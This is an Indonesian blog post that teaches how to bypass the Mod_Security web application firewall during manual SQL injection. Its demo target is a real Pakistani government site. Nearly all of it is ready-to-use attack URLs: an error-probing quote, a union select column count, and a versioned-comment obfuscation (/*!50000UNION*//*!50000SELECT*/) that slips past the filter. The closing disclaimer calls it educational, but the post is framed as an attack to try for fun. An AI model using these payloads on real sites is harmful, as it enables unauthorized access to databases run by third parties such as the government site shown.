Minggu, 07 Juni 2015

Bypass Mod_Security SQLInjection

 
Demo : multan.gov.pk/files.php?id=1

  • Pertama seperti biasa cek web pulen atau tidak
                  multan.gov.pk/files.php?id=1' ==> Error

  • Kedua cari jumlah column

Berarti jumlah column ada 2

Selanjutnya

multan.gov.pk/files.php?id=-1+union+select+1,2--+

Nah hasilnya adalah

Not Acceptable!
An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.
nah terdapat tulisan "this error was generated by Mod_Security" jadi sebelum kita dapat menginjectnya maka harus membypass mod security tersebut

untuk membypass Mod_Security ganti tulisan union select dengan
/*!50000UNION*//*!50000SELECT*/

Jadi hasilnya adalah

multan.gov.pk/files.php?id=-1/*!50000UNION*//*!50000SELECT*/1,2--+

Dan akhirnya muncullah Angka Ajaib

Untuk selanjutnya hanya tinggal melakukan inject seperti sql injection manual biasa ^_^ so have funn

NB: Semua penyalahgunaa pada tutorial diatas bukan merupakan tangging jawab dari Penulis. Di tulis hanya sebagai pembelajaran tentang security semata, Dosa Tanggung sendiri